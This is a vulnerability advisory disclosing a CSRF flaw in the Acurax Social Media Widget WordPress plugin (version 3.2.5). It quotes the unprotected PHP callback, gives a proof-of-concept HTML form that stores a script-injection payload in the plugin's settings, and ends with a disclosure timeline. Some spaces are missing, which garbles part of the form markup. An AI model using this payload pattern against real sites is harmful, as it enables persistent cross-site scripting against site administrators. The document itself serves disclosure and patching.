* Exploit Title: Social Media Widget by Acurax [CSRF]* Discovery Date:2017-12-12* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://www.acurax.com/* Software Link: https://wordpress.org/plugins/acurax-social-media-widget
* Version:3.2.5* Tested on: WordPress 4.9.1* Category: WebApps, WordPress
Description
-----------
Plugin implements AJAX action `acx_asmw_saveorder` which calls back the
function `acx_asmw_saveorder_callback`. The later does not implement any
anti-CSRF controls thus allowing a malicious actor to perform an attack
that could update plugin specific option `social_widget_icon_array_order`.
Vulnerable param is `$_POST['recordsArray']` and it is saved as an
option with the name `social_widget_icon_array_order`.
Leveraging a CSRF could lead to a Persistent XSS (see PoC). Payload will
be served when a user with the right privileges visits plugin's settings
page (`wp-admin/admin.php?page=Acurax-Social-Widget-Settings`).
Vulnerable code is located infile
`acurax-social-media-widget/function.php` line 993:
```
function acx_asmw_saveorder_callback(){global $wpdb;
$social_widget_icon_array_order = $_POST['recordsArray'];if( current_user_can('manage_options')){
$social_widget_icon_array_order = serialize(
$social_widget_icon_array_order );
update_option('social_widget_icon_array_order',
$social_widget_icon_array_order );
echo "<div id='acurax_notice' align='center' style='width:
420px; font-family: arial; font-weight: normal; font-size: 22px;'>";
echo "Social Media Icon's Order Saved";
echo "</div><br>";}
die();// this is required to return a proper result
}
add_action('wp_ajax_acx_asmw_saveorder','acx_asmw_saveorder_callback');
```
PoC
---
In this PoC we leverage the CSRF vulnerabilityt o perform a Persistent
XSS attack. The payload is available in plugin's settings.
```
<pre class="lang:html decode:true "><form method="post" action="http://vuln.test/wp-admin/admin-ajax.php"><inputtype="hidden" name="action" value="acx_asmw_saveorder"><inputtype="text" name="recordsArray[]" value="1'><script>alert(1);</script>"><button type="submit" value="Submit">Submit</button></form>
```
Timeline
--------1.**2017-12-12**: Discovered
2.**2017-12-12**: Tried to contact plugin's vendor through the contact
form on their website
3.**2017-12-12**: Vendor replied
4.**2017-12-12**: Vendor Received Details
5.**2018-01-02**: Patch released
